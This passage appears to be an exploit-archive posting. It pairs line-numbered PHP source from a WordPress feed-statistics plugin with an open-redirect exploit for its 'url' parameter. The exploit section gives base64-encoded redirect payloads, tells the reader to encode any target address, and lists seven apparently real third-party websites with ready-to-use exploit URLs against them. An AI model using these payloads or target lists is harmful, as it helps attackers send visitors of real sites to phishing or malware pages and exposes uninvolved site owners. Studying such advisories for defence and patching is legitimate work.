938 <tr valign="top">
939 <th scope="row"><?php esc_html_e( 'Post views', 'feed-statistics' ); ?></th>
940 <td>
941 <input type="checkbox" name="feed_statistics_track_postviews" value="1" <?php checked( get_option( 'feed_statistics_track_postviews' ) ); ?> />
942 <?php esc_html_e( 'Track individual post views', 'feed-statistics' ); ?>
943 <p class="description">
944 <?php esc_html_e( 'This is done via an invisible tracking image and will track views of posts by users that use feed readers that load images from your site.', 'feed-statistics' ); ?>
945 </p>
946 </td>
947 </tr>
948 </tbody>
949 </table>
950 <p class="submit">
951 <input class="button-primary" type="submit" name="Submit" value="<?php esc_attr_e( 'Update Options', 'feed-statistics' ); ?>" />
952 </p>
953 </form>
954 </div>
955 <?php
956 }
957
958 static function widget_register() {
959 wp_register_sidebar_widget( 'feed-statistics-widget', __( 'Feed Statistics', 'feed-statistics' ), array( 'FEED_STATS', 'widget' ) );
960 }
961
962 static function widget($args) {
963 echo $args['before_widget'];
964
965 echo '<span class="subscriber_count">';
966 feed_subscribers();
967 echo '</span>';
968
969 echo $args['after_widget'];
970 }
971
972 static function clickthrough_replace($content) {
973 if (is_feed()) {
974 $this_file = __FILE__;
975
976 $redirect_url = home_url( '/?feed-stats-url=' );
977
978 $content = preg_replace_callback( "/" . self::LINK_REGEX . "/i", array( 'FEED_STATS', 'generate_clickthrough_url' ), $content);
979 }
980
981 return $content;
982 }
983
984 static function generate_clickthrough_url( $matches ) {
985 $url = $matches[3];
986
987 $clickthrough_url = $url;
988
989 if ( strpos( $url, "//" ) !== false ) {
990 $post_id = get_the_ID();
991 $clickthrough_url = esc_url( home_url( '/?feed-stats-url=' . urlencode( base64_encode( $url ) ) ) . '&feed-stats-url-post-id=' . urlencode( $post_id ) );
992 }
993
994 return $matches[1] . '"' . $clickthrough_url . '"' . $matches[5];
995 }
996
997 static function postview_tracker($content) {
998 global $id;
999
1000 if (is_feed()) {
1001 $content .= ' <img src="' . esc_url( home_url( '/?feed-stats-post-id=' . $id ) ) . '" width="1" height="1" style="display: none;" />';
1002 }
1003
1004 return $content;
1005 }
1006
1007 static function admin_head() {
1008 ?>
1009 <style type="text/css">
1010 div.graph {
1011 border: 1px solid rgb(13, 50, 79);
1012 background-color: rgb(131, 180, 216);
1013 }
1014 </style>
1015 <?php
1016 }
1017}
1018
1019function feed_subscribers(){
1020 $s = FEED_STATS::how_many_subscribers();
1021
1022 printf( _n( '%s feed subscriber', '%s feed subscribers', $s ), number_format_i18n( $s ) );
1023}
1024
1025function feed_statistics_options() {
1026 FEED_STATS::options();
1027}
1028
1029function feed_statistics_widget($args) {
1030 FEED_STATS::widget($args);
1031}
1032
1033function feed_statistics_feed_page() {
1034 FEED_STATS::feed_page();
1035}
1036function feed_statistics_feedreaders_page() {
1037 FEED_STATS::feedreaders_page();
1038}
1039function feed_statistics_clickthroughs_page() {
1040 FEED_STATS::clickthroughs_page();
1041}
1042function feed_statistics_postviews_page() {
1043 FEED_STATS::postviews_page();
1044}
1045function feed_statistics_topfeeds_page() {
1046 FEED_STATS::topfeeds_page();
1047}
1048
1049function feed_statistics_action_links( $links, $file ) {
1050 if ( $file == plugin_basename( dirname(__FILE__) . '/feed-statistics.php' ) ) {
1051 $links[] = '<a href="admin.php?page=feed-statistics.php">' . esc_html__( 'Settings', 'feed-statistics' ) .' </a>';
1052 }
1053
1054 return $links;
1055}
1056
1057add_action('init', array('FEED_STATS','init'));
1058
1059add_action( 'plugins_loaded', array( 'FEED_STATS', 'db_setup' ) );
1060
1061register_activation_hook( __FILE__, array( 'FEED_STATS', 'sql' ) );
1062
1063##################################################################################
1064
1065# Vulnerable File :
1066*****************
1067/feed-statistics.php
1068
1069# Vulnerable Parameter :
1070**********************
1071?url=
1072
1073# Open Redirection Exploit :
1074**************************
1075/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=[BASE64 Encoded URL]
1076
1077/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1078
1079Note : Convert any random desired redirection address into the Base64 Encoded Link.
1080
1081Example 1 => aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8= stands for cxsecurity.com
1082
1083Example 2 => aHR0cHM6Ly93d3cuY3liZXJpem0ub3JnLw== stands for cyberizm.org
1084
1085Example 3 => aHR0cDovL2V4cGxvaXQ0YXJhYi5vcmcv stands for exploit4arab.org
1086
1087Example 4 => aHR0cHM6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5LmNvbS8= stands for packetstormsecurity.com
1088
1089Useable Base64 Encoder - Decoder Links :
1090base64decode.org
1091base64encode.org
1092
1093##################################################################################
1094
1095# Example Vulnerable Sites :
1096*************************
1097[+] blog.02035.org/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1098
1099[+] saltspoon.de/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1100
1101[+] limecolony.com/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1102
1103[+] missyeh.nl/blog/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1104
1105[+] nutsville.com/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1106
1107[+] dillanweems.com/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1108
1109[+] redaccent.net/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
1110
1111##################################################################################
1112
1113# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
1114
1115##################################################################################